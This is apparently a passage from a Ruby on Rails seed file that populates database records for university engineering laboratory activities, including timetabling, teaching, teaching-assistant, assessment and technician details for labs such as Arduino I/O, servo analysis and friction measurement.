ActivityProgramme.where(activity_id: a554.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a555 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST\").first_or_create!(name: \"Torrell Test\",\n name_abrv: \"test\", archived: false, in_drive: false, user_id: 5)\n at555 = ActivityTimetable.where(activity_id: a555.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a555.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a555.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a555.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a555.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n\n\n a556 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"ELL.TEST.\").first_or_create!(name: \"Torrell Test2\",\n name_abrv: \"FCE001\", archived: false, in_drive: false, user_id: 1)\n at556 = ActivityTimetable.where(activity_id: a556.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a556.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a556.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a556.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a556.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n\n\n a557 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode34\").first_or_create!(name: \"Extracurricular Activity\",\n name_abrv: \"NTA\", archived: false, in_drive: false, user_id: 2)\n at557 = ActivityTimetable.where(activity_id: a557.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a557.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a557.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a557.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a557.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n\n\n a558 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode35\").first_or_create!(name: \"Project Space Induction\",\n name_abrv: \"PSIDUCT\", archived: true, in_drive: false, user_id: 4)\n at558 = ActivityTimetable.where(activity_id: a558.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a558.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a558.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a558.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a558.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a559 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode36\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA SCREW\", archived: true, in_drive: false, user_id: 4)\n at559 = ActivityTimetable.where(activity_id: a559.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a559.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a559.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a559.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a559.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a559.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a560 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"unknowncode37\").first_or_create!(name: \"Engineering Applications\",\n name_abrv: \"EA STIRING\", archived: true, in_drive: false, user_id: 1)\n at560 = ActivityTimetable.where(activity_id: a560.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a560.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a560.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a560.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a560.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a560.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a561 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1730\").first.id, code: \"unknowncode38\").first_or_create!(name: \"Hole-in-plate\",\n name_abrv: \"HOLEPLATE\", archived: true, in_drive: false, user_id: 1)\n at561 = ActivityTimetable.where(activity_id: a561.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_sd.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a561.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a561.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a561.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a561.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a561.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a562 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC330\").first.id, code: \"unknowncode39\").first_or_create!(name: \"Diffusers\",\n name_abrv: \"DIFFUSERS\", archived: true, in_drive: false, user_id: 3)\n at562 = ActivityTimetable.where(activity_id: a562.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a562.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a562.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a562.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_none.id, num_assess: 3)\n ActivityTech.where(activity_id: a562.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a562.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a563 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC208\").first.id, code: \"unknowncode40\").first_or_create!(name: \"CFD Validation\",\n name_abrv: \"CFDVALID\", archived: true, in_drive: false, user_id: 4)\n at563 = ActivityTimetable.where(activity_id: a563.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a563.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a563.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a563.id).first_or_create!(assess_weight: nil, notes: \"NOT RUNNING\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a563.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a563.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a564 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"unknowncode41\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 4)\n at564 = ActivityTimetable.where(activity_id: a564.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a564.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a564.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a564.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a564.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a564.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a565 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS334\").first.id, code: \"unknowncode42\").first_or_create!(name: \"Modelling and Control of a Hot Air Process Control System\",\n name_abrv: \"CBE-HVAC\", archived: true, in_drive: false, user_id: 4)\n at565 = ActivityTimetable.where(activity_id: a565.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 84, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a565.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a565.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a565.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a565.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a565.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a566 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS130\").first.id, code: \"unknowncode43\").first_or_create!(name: \"Design and Build Project\",\n name_abrv: \"ShaddowBots\", archived: true, in_drive: false, user_id: 4)\n at566 = ActivityTimetable.where(activity_id: a566.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a566.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a566.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a566.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a566.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a566.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a567 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE123\").first.id, code: \"unknowncode44\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"WS\", archived: true, in_drive: false, user_id: 1)\n at567 = ActivityTimetable.where(activity_id: a567.id).first_or_create!(duration: 180, kit_prep_time: 60, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 25, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a567.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a567.id).first_or_create!(criteria: \"Must be able to independently use an oscilloscope, digital multimeter and signal generator\n Must be able to solder and to demonstrate good soldering technique to students\n Must be able to build simple circuits on a breadboard and perform current and voltage measurements\",\n job_desc:\"Help students construct a resistor potential divider on a breadboard, then take measurements on it using multimeters and oscilloscopes. \n Ensure the students appreciate measurement device impedance and the importance of clear data recording.\n Help train the students to independently use an oscilloscope, signal generator and multimeter.\n Supervise students to safely solder a small PCB - be prepared to provide demonstrations and advice on soldering.\", jobshop_desc: \"GTA in MEE, the Diamond: EEE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: 12.0)\n ActivityAssess.where(activity_id: a567.id).first_or_create!(assess_weight: 4.0, notes: \"\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: 2)\n ActivityTech.where(activity_id: a567.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n\n\n a568 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS6101\").first.id, code: \"unknowncode45\").first_or_create!(name: \"Time and Frequency Domain Servo Analysis Laboratory\",\n name_abrv: \"Servo T+F\", archived: true, in_drive: false, user_id: 4)\n at568 = ActivityTimetable.where(activity_id: a568.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: nil, notes: \"\",\n capacity: 144, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a568.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a568.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"The students are required to analyse a servo system in both the time and frequency domain. From the system model they have developed, a PI controller will be designed and its performance evaluated.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a568.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a568.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n\n\n a569 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS132\").first.id, code: \"unknowncode46\").first_or_create!(name: \"Time Domain Analysis of a Hot Air Process Control System\",\n name_abrv: \"HVAC 1\", archived: true, in_drive: false, user_id: 3)\n at569 = ActivityTimetable.where(activity_id: a569.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 40, takedown_time: 40, notes: \"\",\n capacity: 90, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a569.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a569.id).first_or_create!(criteria: \"Must have understanding of MATLAB programming, physical systems modelling and analysis of 1st and 2nd order systems\",\n job_desc:\"This laboratory is basic parameter identification of a 1st order system from step response characteristics: Gain, Time Constant and System Delay.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a569.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a569.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a569.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a570 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS230\").first.id, code: \"unknowncode47\").first_or_create!(name: \"Discrete Control Design\",\n name_abrv: \"Servo-D\", archived: true, in_drive: false, user_id: 5)\n at570 = ActivityTimetable.where(activity_id: a570.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a570.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a570.id).first_or_create!(criteria: \"Understanding of physical systems modelling, the analysis of 1st and 2nd order systems, and z-domain control design\",\n job_desc:\"This laboratory involves designing control system compensators in the z-domain, and implementing them on the hardware system in the laboratory.\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a570.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a570.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a570.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a571 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode48\").first_or_create!(name: \"Introduction to Arduino – Simple Digital I/O\",\n name_abrv: \"Ard I/O\", archived: true, in_drive: false, user_id: 4)\n at571 = ActivityTimetable.where(activity_id: a571.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a571.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a571.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a571.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a571.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a571.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a572 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode49\").first_or_create!(name: \"Using an Arduino to Read Analogue Sensors\",\n name_abrv: \"Ard Anal\", archived: true, in_drive: false, user_id: 1)\n at572 = ActivityTimetable.where(activity_id: a572.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a572.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a572.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a572.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a572.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a572.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a573 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode50\").first_or_create!(name: \"PWM control of Actuators, using an Arduino\",\n name_abrv: \"Ard PWM\", archived: true, in_drive: false, user_id: 1)\n at573 = ActivityTimetable.where(activity_id: a573.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ec.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 20, takedown_time: 20, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a573.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a573.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: ACSE Labs in the Electronics & Control Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a573.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a573.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a573.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a574 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode51\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 1\", archived: true, in_drive: true, user_id: 3)\n at574 = ActivityTimetable.where(activity_id: a574.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a574.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a574.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a574.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a574.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n\n\n a575 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"ACS231\").first.id, code: \"unknowncode52\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"Mechatronics 2\", archived: true, in_drive: false, user_id: 4)\n at575 = ActivityTimetable.where(activity_id: a575.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a575.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a575.id).first_or_create!(criteria: \"#N/A\",\n 